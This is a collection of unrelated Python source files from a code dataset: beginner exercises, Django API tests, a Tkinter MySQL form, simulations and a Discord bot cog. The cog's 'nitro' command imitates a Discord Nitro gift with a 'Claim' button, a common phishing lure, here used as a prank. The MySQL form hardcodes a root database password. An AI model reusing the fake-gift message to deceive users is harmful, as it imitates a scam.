surname=random_person.surname, phone=random_person.phone, email=random_person.email, job_title=fake.job(), company=fake.company(), business_phone=fake.phone_number())\r\n print(random_person)\r\n random_person.contact()\r\n random_person._label_length = len(random_person.name) + len(random_person.surname)#Nie wiem dlaczego, ale bez tego ponownego przypisania wartości, random_person.label_length zwraca mi wartość bazową (0), tak jakby olewał @label_lenght.setter\r\n print(f'Długość imienia i nazwiska to: {random_person.label_length}')\r\n\r\n else:\r\n print('Wybór nie jest liczbą od 1 do 2, spróbuj ponownie: \\n1 Prywatna, \\n2 Biznesowa, \\n3 Wyjdź')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n \r\n while True:\r\n print('Wybierz rodzaj wizytówki 1-prywatna 2-biznesowa (lub wpisz 3 aby wyjść), a następnie podaj ilość którą chcesz wygenerować')\r\n\r\n while True:\r\n try:\r\n choice_number = int(input('Opcja '))\\\r\n\r\n if choice_number <= 2:\r\n break;\r\n elif choice_number == 3:\r\n exit()\r\n else:\r\n logging.warning('Wybór nie jest liczbą od 1 do 2, spróbuj ponownie: \\n1 Prywatna, \\n2 Biznesowa, \\n3 Wyjdź')\r\n\r\n except ValueError:\r\n logging.warning('Wybór nie jest liczbą od 1 do 2, spróbuj ponownie: \\n1 Prywatna, \\n2 Biznesowa, \\n3 Wyjdź')\r\n\r\n while True:\r\n try:\r\n number_of_cards = int(input('Podaj ilość: '))\r\n break;\r\n\r\n except ValueError:\r\n logging.warning('Wybór nie jest liczbą całkowitą, spróbuj ponownie')\r\n\r\n \r\n create_contacts(choice_number, number_of_cards)","repo_name":"Krystian-Owczarek/Learning","sub_path":"Kodilla/MODUL 5/modul5_zadanie1/modul5_zadanie1.py","file_name":"modul5_zadanie1.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11643627733","text":"from django.urls import reverse, resolve\nfrom rest_framework.test import APITestCase\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework import status\nfrom django.contrib.auth.models import User\nfrom applications.driver.models import *\nfrom applications.vehicles.models import *\nfrom applications.orders.models import *\nfrom applications.driver.tests.test_drivers_api import DriversPIViewTests\n\n\nclass OrdersAPIViewTests(APITestCase):\n\n url_add_order = reverse('orders_app:order_driver')\n url_filter_order = reverse('orders_app:filter_order')\n url_driver_certain = reverse('orders_app:driver_certain')\n\n def getDataDriverJSONConstructor(self):\n brand = Brand.objects.create(\n brand_name='ferrari'\n )\n type_vehicle = TypeVehicle.objects.create(\n type_vehicle='automovil de lujo'\n )\n vehicle = Vehicle.objects.create(\n modelo=2018,\n brand=brand,\n type_vehicle=type_vehicle,\n plate='ddrx2'\n )\n data_driver = {\n 'name': 'Francisco',\n 'last_name': 'Barbosa',\n 'nuip': 1234788642,\n 'vehicle': vehicle\n }\n\n driver = Driver.objects.create(**data_driver)\n\n return driver\n\n data_order_correct = {\n \"driver\": 1,\n \"date\": \"2022-11-09\",\n \"hour\": \"02:03:00\",\n \"pickup_place\":\n {\n \"lat\": 8,\n \"lng\": 11\n },\n \"destination_place\":\n {\n \"lat\": 15,\n \"lng\": 90\n }\n }\n\n\n\n def setUp(self):\n self.user = User.objects.create_user(\n username='admin', password='admin@gmail.com')\n self.token = Token.objects.create(user=self.user)\n self.client.credentials(HTTP_AUTHORIZATION='Token '+self.token.key)\n self.data_order_correct['driver'] = self.getDataDriverJSONConstructor().id\n\n\n\n def test_AddOrder_Authenticated(self):\n response = self.client.post(self.url_add_order,self.data_order_correct, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(response.data['message'],'Servicio reservado con exito')\n\n\n def test_AddOrder_Incorrect_Driver(self):\n self.data_order_correct['driver'] = 30\n response = self.client.post(self.url_add_order,self.data_order_correct, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_AddOrder_Incorrect_Format_Date(self):\n self.data_order_correct['date'] = \"2022-11-\"\n response = self.client.post(self.url_add_order,self.data_order_correct, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_AddOrder_Incorrect_Format_Hour(self):\n self.data_order_correct['hour'] = \"02:03\"\n response = self.client.post(self.url_add_order,self.data_order_correct, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_AddOrder_Incorrect_Pickup_Place(self):\n self.data_order_correct['pickup_place'] = {\"lat\" : 9}\n response = self.client.post(self.url_add_order,self.data_order_correct, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_AddOrder_Incorrect_Format_Destination_Place(self):\n self.data_order_correct['destination_place'] = {\"lng\" : 8}\n response = self.client.post(self.url_add_order,self.data_order_correct, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n ### filterOrders\n\n def create_order(self):\n data_order_correct = {\n \"driver\": 1,\n \"date\": \"2022-11-09\",\n \"hour\": \"02:03:00\",\n \"pickup_place\":\n {\n \"lat\": 8,\n \"lng\": 11\n },\n \"destination_place\":\n {\n \"lat\": 1,\n \"lng\": 5\n }\n }\n\n response_order = self.client.post(self.url_add_order,data_order_correct, format = 'json')\n return response_order.data['body']['id']\n\n filters = {\n \"date\" : \"2022-11-09\",\n \"driver\" : 1\n }\n\n def test_filterOrders_Authenticated(self):\n self.filters['driver'] = self.create_order()\n response = self.client.get(self.url_filter_order,self.filters, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n def test_filterOrders_WithOut_Driver(self):\n self.create_order()\n self.filters.pop('driver')\n response = self.client.get(self.url_filter_order,self.filters, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n def test_filterOrders_Incorrect_Format_Date(self):\n self.create_order()\n response = self.client.get(self.url_filter_order,{\"date\" : \"2022-999\"}, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_406_NOT_ACCEPTABLE)\n\n\n def test_filterOrders_Not_Found(self):\n self.create_order()\n response = self.client.get(self.url_filter_order,{\"date\" : \"2022-10-12\"}, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n\n\n ### DriverCertain\n def getJsonDataForDriverCertain(self):\n driver_certain = {\n \"location\" : {\n \"lat\" : 1 ,\n \"lng\" : 5\n },\n \"date\" : \"2022-11-03\",\n \"hour\" : \"02:10:00\"\n }\n return driver_certain\n\n\n def test_DriverCertain_Driver_Authenticated(self):\n order = self.create_order()\n driver_data = self.getJsonDataForDriverCertain()\n response = self.client.post(self.url_driver_certain, driver_data, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n\n\n def test_DriverCertain_Driver_Not_Found(self):\n driver_data = self.getJsonDataForDriverCertain()\n driver_data['location'] = {\"lat\" : 10 ,\"lng\" : 50}\n response = self.client.post(self.url_driver_certain, driver_data, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_DriverCertain_Incorrect_Format_Date(self):\n driver_data = self.getJsonDataForDriverCertain()\n driver_data['date'] = \"2022-90\"\n response = self.client.post(self.url_driver_certain, driver_data, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_DriverCertain_Incorrect_Format_Hour(self):\n driver_data = self.getJsonDataForDriverCertain()\n driver_data['hour'] = \"10:00\"\n response = self.client.post(self.url_driver_certain, driver_data, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n\n\n\n ### NOT AUTHENTICATE\n def test_AddOrder_un_Authenticated(self):\n self.client.force_authenticate(user=None,token=None)\n response = self.client.post(self.url_add_order,self.data_order_correct, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_filterOrders_un_Authenticated(self):\n self.client.force_authenticate(user=None,token=None)\n response = self.client.get(self.url_filter_order,self.filters, format = 'json')\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n#import pdb; pdb.set_trace()\n def tearDown(self):\n pass","repo_name":"EdwardPinzon13/test-orders","sub_path":"applications/orders/tests/test_orders_api.py","file_name":"test_orders_api.py","file_ext":"py","file_size_in_byte":7803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12598591183","text":"from rest_framework import status\n\nfrom django.urls import reverse\n\nfrom dispatch.tests.cases import DispatchAPITestCase\nfrom dispatch.tests.helpers import DispatchTestHelpers\nfrom dispatch.models import Topic\n\nclass TopicsTests(DispatchAPITestCase):\n\n def test_create_topic_unauthorized(self):\n \"\"\"Create topic should fail with unauthenticated request\"\"\"\n\n # Clear authentication credentials\n self.client.credentials()\n\n url = reverse('api-topics-list')\n\n response = self.client.post(url, None, format='json')\n\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_create_empty_topic(self):\n \"\"\"Create topic should fail with empty payload\"\"\"\n\n url = reverse('api-topics-list')\n\n response = self.client.post(url, None, format='json')\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_create_incomplete_topic(self):\n \"\"\"Create topic should fail with missing required fields\"\"\"\n\n url = reverse('api-topics-list')\n\n # topic data is missing name\n data = {}\n\n response = self.client.post(url, data, format='json')\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n self.assertTrue('name' in response.data)\n\n def test_create_topic(self):\n \"\"\"Ensure that topic can be created\"\"\"\n\n response = DispatchTestHelpers.create_topic(self.client, 'Test Topic')\n\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(response.data['name'], 'Test Topic')\n\n def test_delete_topic_unauthorized(self):\n \"\"\"Delete topic should fail with unauthenticated request\"\"\"\n\n topic = DispatchTestHelpers.create_topic(self.client, 'Test Topic')\n\n # Clear authentication credentials\n self.client.credentials()\n\n url = reverse('api-topics-detail', args=[topic.data['id']])\n\n response = self.client.delete(url, format='json')\n\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_delete_topic(self):\n \"\"\"Ensure that topic can be deleted\"\"\"\n\n topic = DispatchTestHelpers.create_topic(self.client, 'Test Topic')\n\n url = reverse('api-topics-detail', args=[topic.data['id']])\n\n # Successful deletion should return 204\n response = self.client.delete(url, format='json')\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n\n # Can't delete an topic that has already been deleted\n response = self.client.delete(url, format='json')\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n","repo_name":"TomDiFrancesco/DjangoRedis","sub_path":"venv/Lib/site-packages/dispatch/tests/test_api_topics.py","file_name":"test_api_topics.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"16410146338","text":"# zadanie 1 ---------\ntext = '4 8 12 16 20 24 28'\n\nplik = open('Dzielniki_liczby_4.txt', 'w', encoding = 'utf-8')\n\nplik.write (text)\n\n\nplik.close()\n# zadanie 2 ------------\n\nplik = open('Dzielniki_liczby_4.txt', 'r')\n\ntext = plik.read()\n\nprint(text)\n\nplik.close()\n\n# zadanie 3 -----------\nplik = open('Dzielniki_liczby_4.txt', 'w')\nplik.write(text)\nplik.write (\"\\n to sa kolejne linijki\\n\")\nplik.write (\"a to jeszcze inne\\n\")\nplik.close()\n\nplik = open('Dzielniki_liczby_4.txt', 'r')\ntext = plik.read()\nprint(text)\nplik.close()\n\n# zaadanie 4 -----------\n\nclass NaZakupy:\n def __init__(self,nazwa_produktu,ilosc,jednostka_miary,cena_jed):\n self.nazwa_produktu = nazwa_produktu\n self.ilosc = ilosc\n self.jednostka_miary = jednostka_miary\n self.cena_jed = cena_jed\n def wyswietl(self):\n print(f\"{self.nazwa_produktu}\")\n print(f\"ilosc: {self.ilosc}\")\n print(f\"jednostka miary: {self.jednostka_miary}\")\n print(f\"cena: {self.cena_jed} zlote\")\n def ile_produktu(self):\n self.ilosc = str(self.ilosc)\n return print(f\"ilosc: {self.ilosc} {self.jednostka_miary} \")\n def ile_kosztuje(self):\n self.ilosc = int(self.ilosc)\n self.koszt = self.ilosc * self.cena_jed\n return print (f\"kosztuje: {self.koszt} zlote\")\nziemniaki = NaZakupy(\"ziemniaki\",2,\"kilogramy\",4)\nsok=NaZakupy(\"sok\",6,\"sztuki\",2)\nziemniaki.wyswietl()\nziemniaki.ile_produktu()\nziemniaki.ile_kosztuje()\nsok.wyswietl()\nsok.ile_produktu()\nsok.ile_kosztuje()\n\n# zadanie 5 ---------------\n\nclass Ciag:\n def __init__(self,wyswietl_dane,pobierz_elementy,pobierz_parametry,policz_sume,policz_elementy):\n self.wyswietl_dane = wyswietl_dane\n self.pobierz_elementy = pobierz_elementy\n self.pobierz_parametry = pobierz_parametry\n self.policz_sume = policz_sume\n self.policz_elementy = policz_elementy\n def wyswietl_dane(self):\n print(f\"dane: {self.wyswietl_dane}\")\n print(f\"pobrane elementy: {self.pobierz_elementy}\")\n print(f\"pobrane parametry: {self.pobierz_parametry}\")\n print(f\"suma: {self.policz_sume}\")\n print(f\"ilosc elementow: {self.policz_elementy}\")\n # def pobierz_elementy(self):\n\n # def pobierz_parametry(self):\n #def policz_sume(self):\n #def policz_elementy(self):\n\n# zadanie 6 -----------\n\nclass slowa:\n def __init__(self,x,y):\n self.wyraz1=x\n self.wyraz2=y\n def sprawdz_czy_palindrom(self):\n if (len(self.wyraz1)%2==0):\n for i in range(0, int(len(self.wyraz1)/2-1)):\n if(self.wyraz1[i]!=self.wyraz1[len(self.wyraz1)-i-1]):\n return print ('Wyraz nie jest palindromem')\n else:\n for i in range(0,int((len(self.wyraz1)-1)/2)):\n if(self.wyraz1[i]!=self.wyraz1[len(self.wyraz1)-i-1]):\n return print ('Wyraz nie jest palindromem')\n return print ('Wyraz 1 jest palindromem')\n def sprawdz_czy_metagramy(self):\n if(len(self.wyraz1)!=len(self.wyraz2)):\n return print(\"Wyrazu nie sa metagramami\")\n else:\n count = 0\n for i in range(0,len(self.wyraz1)-1):\n if(self.wyraz1[i]!=self.wyraz2[i]):\n count+=1\n if (count>1):\n return print ('Wyrazy nie sa metagramami')\n if(count!=1):\n return print ('Wyrazy nie sa metagramami')\n \n return print ('Wyrazy sa metagramami')\n def sprawdz_czy_anagramy(self):\n if(len(self.wyraz1)!=len(self.wyraz2)):\n return print ('Wyrazy nie sa anagramami')\n else:\n for i in range(0,len(self.wyraz1)):\n if (self.wyraz1.count(self.wyraz1[i])!=self.wyraz2.count(self.wyraz1[i])):\n return print ('Wyrazy nie sa anagrami')\n return print ('Wyrazy sa anagrami')\n def wyswietl_wyraz(self):\n print(self.wyraz1)\n print(self.wyraz2)\n \nwyrazy = slowa('kajak','majak')\nwyrazy.sprawdz_czy_palindrom()\nwyrazy.sprawdz_czy_metagramy()\nwyrazy.sprawdz_czy_anagramy()\nwyrazy.wyswietl_wyraz()\n","repo_name":"szymoneQ99/szym1","sub_path":"cw_04.py","file_name":"cw_04.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43612569673","text":"def converter():\n print(\"Hi, this is a unit converter. It will easily convert your kilometers into miles.\")\n while True:\n number = float(input(\"Enter amount of kilometers you want to convert: \"))\n print(f\"{number} kilometer is {number*0.62} miles.\")\n if input(\"Do you want to perform another action? (y/n) \") == \"y\":\n continue\n return \"Thank you for using our converter!\"\n#print(converter())\n\n\ndef fizzBuzz():\n number = int(input(\"Select a number between 1 and 100: \"))\n for e in range(1, number+1):\n if e % 3 == 0 and e % 5 == 0:\n print(\"fizzbuzz\")\n elif e % 3 == 0:\n print(\"fizz\")\n elif e % 5 == 0:\n print(\"buzz\")\n else:\n print(e)\n\n#print(fizzBuzz())\n\n\ndef strings():\n string = input(\"Enter a string you want to convert: \")\n if input(\"Do you want to make lowercase or uppercase? (l/u) \") == \"l\":\n return string.lower()\n return string.upper()\n\nprint(strings())\n\n\n\n\n\n\n\n","repo_name":"Alanious/python","sub_path":"6.naloga.py","file_name":"6.naloga.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26847773961","text":"from PIL import Image, ImageTk\nfrom tkinter import *\nfrom tkinter import ttk, messagebox\nimport pymysql\n\n\nclass Register:\n def __init__(self, root):\n self.root = root\n self.root.title(\"Registration Window\")\n root.geometry('1350x700+0+0')\n self.root.config(bg=\"black\")\n\n self.bg = ImageTk.PhotoImage(file=\"/Users/samirsinha/PycharmProjects/Jira/Backgroung.webp\")\n bg = Label(self.root, image=self.bg).place(x=250, y=0, relwidth=1, relheight=1)\n\n self.left_bg = ImageTk.PhotoImage(file=\"/Users/samirsinha/PycharmProjects/Jira/CB-Background.jpeg\")\n left_bg = Label(self.root, image=self.left_bg).place(x=0, y=0, width=250, relheight=1)\n\n frame1 = Frame(self.root, bg=\"grey91\")\n frame1.place(x=300, y=100, width=700, height=900)\n\n # Title of Frame\n Label(frame1, text=\"Employee Registration Form\", font=(\"times new roman\", 20, \"bold\"), bg=\"grey91\",\n fg=\"green\").place(x=50, y=30)\n # Label Name of first column Employee Id\n Label(frame1, text=\"Employee ID\", font=(\"times new roman\", 15, \"bold\"), bg=\"grey91\",\n fg=\"black\").place(x=50, y=100)\n\n # Text Box for column Employee id\n self.txt_emp_id = Entry(frame1, font=(\"times new roman\", 15, \"bold\", \"italic\"), bg=\"mint cream\", fg=\"black\", bd=1)\n self.txt_emp_id.place(x=50, y=130, width=250)\n\n # Label Name of Second column Comments\n Label(frame1, text=\"Comments\", font=(\"times new roman\", 15, \"bold\"), bg=\"grey91\",\n fg=\"black\").place(x=50, y=200)\n\n # Text Box for column Comments\n font_tuple = (\"times new roman\", 15, \"italic\")\n\n self.txt_emp_comments = Text(frame1, bg=\"mint cream\", fg=\"black\", wrap=WORD, width=15, height=10, bd=1)\n self.txt_emp_comments.place(x=50, y=230, width=300, height=200)\n self.txt_emp_comments.configure(font=font_tuple)\n\n # self.txt_emp_comments = Entry(frame1, font=(\"times new roman\", 15, \"bold\", \"italic\"), bg=\"lightgrey\", fg=\"black\")\n # self.txt_emp_comments.place(x=50, y=230, width=300, height=200)\n\n # Button creation for submitting text\n Button(frame1, text='Submit', width=20, bd=1, cursor=\"hand2\", bg=\"red\", fg='green',\n command=self.register_data).place(x=100, y=480)\n\n def clear_data(self):\n\n self.txt_emp_id.delete(0, END)\n self.txt_emp_comments.delete(\"1.0\", END)\n\n def register_data(self):\n # print(self.txt_emp_id.get(), self.txt_emp_comments.get(\"1.0\", END))\n try:\n conn = pymysql.connect(host=\"localhost\", user=\"root\", password=\"sinha123\", database=\"test\")\n cur = conn.cursor()\n if self.txt_emp_id.get() == '':\n print(\"Please Enter Value for Employee Id\")\n messagebox.showerror(\"Error\", \"Employee Id Is Needed For Submitting Comments\", parent=self.root)\n else:\n if self.txt_emp_id.get().isdigit():\n cur.execute(\"insert into employee_comments(employee_id, employee_comments) values(%s, %s)\",\n (\n self.txt_emp_id.get(),\n self.txt_emp_comments.get(\"1.0\", END)\n ))\n messagebox.showinfo(\"Success\", \"Comments Submitted Successfully....\", parent=self.root)\n else:\n messagebox.showerror(\"Error\", \"Employee Id Should be Numeric\", parent=self.root)\n\n conn.commit()\n conn.close()\n self.clear_data()\n\n except Exception as e:\n print(\"Some Error...\", e)\n\n\nroot = Tk()\nobj = Register(root)\nroot.mainloop()\n","repo_name":"sinha-samir/pythoncodebase","sub_path":"ProjectUI.py","file_name":"ProjectUI.py","file_ext":"py","file_size_in_byte":3696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29285043161","text":"import discord\r\nfrom discord.ext import commands\r\nfrom discord.ui import Button, View\r\n\r\nclass nitro(commands.Cog):\r\n def __init__(self, bot):\r\n bot.client = bot\r\n \r\n @commands.command()\r\n async def nitro(self, ctx):\r\n embed = discord.Embed(title = \"You've been gifted a subscription!\", description=\"You've been gifted Nitro for **1 Month!**\\nExpires in **24 hours**\", color = 0x36393f)\r\n button = Button(style=discord.ButtonStyle.green, label = \"Claim\") \r\n view = View() \r\n view.add_item(button)\r\n embed.set_thumbnail(url=\"https://images-ext-1.discordapp.net/external/L5DOV7R8cjH5P8niHjsXeMCQM6xuIbGgtZeTujtJYjM/https/media.discordapp.net/attachments/895163964361674752/895982514093555763/images_1_-_2021-10-08T160355.540.jpeg\")\r\n async def button_callback(interaction):\r\n await interaction.response.edit_message(content = \"https://images-ext-1.discordapp.net/external/AoV9l5YhsWBj92gcKGkzyJAAXoYpGiN6BdtfzM-00SU/https/i.imgur.com/NQinKJB.mp4\", view = None, embed = None)\r\n button.callback = button_callback\r\n await ctx.send(embed = embed, view = view)\r\ndef setup(bot):\r\n bot.add_cog(nitro(bot))","repo_name":"albert1033/Grignard-Python-Discord-Bot","sub_path":"cogs/nitro.py","file_name":"nitro.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"45461210304","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom scipy.integrate import odeint\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\n\r\nrho = 28.0 # desde rho = 25 hasta rho = 90\r\nsigma = 10.0\r\nbeta = 8.0 / 3.0\r\n\r\n\r\ndef f(state, t):\r\n x, y, z = state # Desempaqueta el vector de estado\r\n return sigma * (y - x), x * (rho - z) - y, x * y - beta * z # Derivadas\r\n\r\nstate0 = [1.0, 1.0, 1.0]\r\nt = np.arange(0.0, 40.0, 0.01)\r\n\r\n# odeint() resuelve EDOs de primer orden. syntax: odeint(func, valor_inicial, t)\r\n# devuelve una matriz\r\nstates = odeint(f, state0, t)\r\n\r\nfig = plt.figure()\r\n# ax = fig.add_subplot(projection='3d')\r\nax = plt.axes(projection = '3d')\r\nax.plot(states[:, 0], states[:, 1], states[:, 2])\r\n# states[:,0] selecciona todas las filas de la 1er columna de states\r\nplt.show()\r\n","repo_name":"OsvaldoLetran/projects_python","sub_path":"atractor_de_lorenz.py","file_name":"atractor_de_lorenz.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42580524277","text":"numbers = input(\"Input 3 integer separated by commas: \") \nlv = numbers.split(\",\")\nts = tuple(lv)\n# print(len(lv))\n# print(ts)\nremove_RI=set(ts)\nif len(lv)>3:\n print(\"Enter 3 number only\")\nelif len(remove_RI)==len(lv):\n print(0)\nelse:\n print(4-len(remove_RI))","repo_name":"339821/Thakur","sub_path":"1 python.py","file_name":"1 python.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"86352148000","text":"#! /usr/bin/env python\n\nimport friction_tools as ft\n\nsimu = ft.FrictionSimulation()\nsimu.continue_from_trajectory(filename=\"beginning.traj\")\n\n\n#interactions\nsimu.create_interaction(['Au','Au'], strength=1.0, equilibrium_distance=2.375)\nsimu.create_interaction(['Ag','Ag'], strength=1.0, equilibrium_distance=1.781)\nsimu.create_interaction(['Au','Ag'], strength=0.1, equilibrium_distance=2.0)\n\n#indices\nau_indices = simu.get_indices_by_element('Au')\nag_indices = simu.get_indices_by_element('Ag')\nbottom_indices = simu.get_indices_z_less_than(-3.5)\n\n\n#dynamics and stats\nsimu.create_dynamics(dt=1.0, temperature=500, coupled_indices=bottom_indices)\nsimu.print_stats_during_simulation(interval=50.0)\nsimu.save_trajectory_during_simulation(interval=50.0)\n\nsimu.gather_average_force_during_simulation(indices=ag_indices)\n\n#happenings\nsimu.fix_positions(bottom_indices, [True,True,True])\nsimu.add_constant_force(ag_indices, [0, 0, -0.1])\nsimu.run_simulation(time=2000.0)\n\nsimu.fix_velocities(ag_indices, [0.005, 0, 0], [True,False,False])\nsimu.run_simulation(time=5000.0)\n\nft.trajectory_to_xyz()\n","repo_name":"skid5/friction_simulation","sub_path":"build2.2/build2.py","file_name":"build2.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37746454392","text":"\r\ndict_cpf_valor_de_devedores: dict[int, int] = {\r\n 60827511914 : 20.3,\r\n 55942546096 : 40.6,\r\n 52784438805 : 70.99,\r\n 89845841856 : 65.47\r\n}\r\n\r\ndict_compradores: dict = {}\r\n\r\ndef pagarDebito(CPF_do_devedor):\r\n if CPF_do_devedor in dict_cpf_valor_de_devedores:\r\n valor_de_debito = dict_cpf_valor_de_devedores[CPF_do_devedor]\r\n else:\r\n print(f\"Nenhuma dívida a ser paga ao {CPF_do_devedor}.\")\r\n menu()\r\n\r\n print(f\"Débito de R$ {valor_de_debito}, ao CPF {CPF_do_devedor}\")\r\n\r\n while True:\r\n try:\r\n conta_bancaria = int(input(\"Conta bancária: \"))\r\n valor_pago = float(input(\"Valor que será pago R$ \"))\r\n except ValueError:\r\n print(\"Insira apenas valores númericos inteiros.\")\r\n continue\r\n except KeyboardInterrupt:\r\n print(\"\\nSCC encerrado por interrupção.\\n\")\r\n exit()\r\n except Exception:\r\n print(\"Infelizmente ocorreu um erro no SCC. Tente Novamente.\\n\")\r\n continue\r\n\r\n if valor_de_debito <= valor_pago:\r\n if CPF_do_devedor in dict_cpf_valor_de_devedores:\r\n del dict_cpf_valor_de_devedores[CPF_do_devedor]\r\n \r\n print(f\"A dívida de {CPF_do_devedor} foi quitada.\\n\")\r\n menu()\r\n elif valor_de_debito > valor_pago:\r\n print(\"Pagamento não foi aceito, devido o pagamento ser menor que o valor da dívida.\\n\")\r\n continue\r\n\r\ndef realizarVenda():\r\n while True:\r\n print(\"Realizamento de Vendas:\\nPor favor, insira o seu CPF.\\nObservação: sem caracteres de pontuação, apenas inteiro.\\n\")\r\n try:\r\n cpf_do_cliente = int(input(\"CPF: \"))\r\n except ValueError:\r\n print(\"Insira apenas valores númericos inteiros sem pontuação.\\n\")\r\n continue\r\n except KeyboardInterrupt:\r\n print(\"\\nSCC encerrado por interrupção.\\n\")\r\n exit()\r\n except Exception:\r\n print(\"Infelizmente ocorreu um erro no SCC. Tente Novamente.\\n\")\r\n continue\r\n \r\n if cpf_do_cliente in dict_cpf_valor_de_devedores:\r\n print(\"CPF encontrado em lista de devedor na SCC. Você deverá pagar o débito para continuar.\\n\")\r\n pagarDebito(CPF_do_devedor=cpf_do_cliente)\r\n else:\r\n dict_compradores[cpf_do_cliente] = valor_do_ingresso\r\n print(f\"Ingresso de R$ {valor_do_ingresso} adicionado ao comprador {cpf_do_cliente}.\")\r\n menu()\r\n\r\ndef listarDevedores():\r\n print(\"CPF dos Devedores:\")\r\n for key, value in dict_cpf_valor_de_devedores:\r\n print(f\"CPF: {key}, Dívida (R$): {value}\")\r\n menu()\r\n\r\ndef listarCompradores():\r\n if {} == dict_compradores:\r\n print(\"Nenhum CPF de compradores.\")\r\n else:\r\n print(\"CPF dos Compradores:\")\r\n for key, value in dict_compradores:\r\n print(f\"CPF: {key}\")\r\n menu()\r\n\r\ndef valorArrecadado(): \r\n global arrecadamento\r\n arrecadamento = sum(dict_compradores.values())\r\n print(F\"Valor de arrecadamento total R$ {arrecadamento}\")\r\n menu()\r\n\r\ndef menu(): \r\n print(\"\\nMenu do Sistema de Consutlas de Clientes (SCC):\")\r\n print(\"\"\"1. Realizar venda\\n2. Listar devedores\\n3. Listar compradores\\n4. Pagar débito (devedores)\\n5. Valor arrecadado pelo evento\\n\"\"\")\r\n \r\n while True:\r\n try:\r\n opcoes_do_menu = int(input(\"Selecione o número da opção: \"))\r\n except ValueError:\r\n print(\"Insira apenas valores númericos de 1 à 5.\\n\")\r\n continue\r\n except KeyboardInterrupt:\r\n print(\"\\nSCC encerrado por interrupção.\\n\")\r\n exit()\r\n except Exception:\r\n print(\"Infelizmente ocorreu um erro no SCC. Tente Novamente.\")\r\n continue\r\n\r\n if opcoes_do_menu not in [1, 2, 3, 4, 5]:\r\n print(\"Insira apenas números de opções de 1 à 5.\\n\")\r\n continue\r\n\r\n elif opcoes_do_menu == 1:\r\n realizarVenda()\r\n elif opcoes_do_menu == 2:\r\n listarDevedores()\r\n elif opcoes_do_menu == 3:\r\n listarCompradores()\r\n if opcoes_do_menu == 4:\r\n while True:\r\n try:\r\n cpf_do_cliente = int(input(\"CPF: \"))\r\n except ValueError:\r\n print(\"Insira apenas valores númericos inteiros.\\n\")\r\n continue\r\n except KeyboardInterrupt:\r\n print(\"\\nSCC encerrado por interrupção.\\n\")\r\n exit()\r\n except Exception:\r\n print(\"Infelizmente ocorreu um erro no SCC. Tente Novamente.\")\r\n continue\r\n break\r\n \r\n pagarDebito(CPF_do_devedor=cpf_do_cliente)\r\n elif opcoes_do_menu == 5:\r\n valorArrecadado()\r\n\r\ndef principal():\r\n print(\"Sistema de Consulta de Clientes (SCC).\\nPara sair das opções, faça CTRL + C.\\n\")\r\n global valor_do_ingresso\r\n while True:\r\n try:\r\n valor_do_ingresso = float(input(\"Valor do ingresso R$ \"))\r\n except ValueError:\r\n print(\"Insira apenas valores númericos.\\n\")\r\n continue\r\n except KeyboardInterrupt:\r\n print(\"\\nSCC encerrado por interrupção.\\n\")\r\n exit()\r\n except Exception:\r\n print(\"Infelizmente ocorreu um erro no SCC. Tente Novamente.\\n\")\r\n continue\r\n\r\n if valor_do_ingresso >= 10:\r\n menu()\r\n else:\r\n print(\"Valor de ingresso abaixo de R$ 10.00 não são aceitos.\\n\")\r\n continue\r\n\r\nif __name__ == 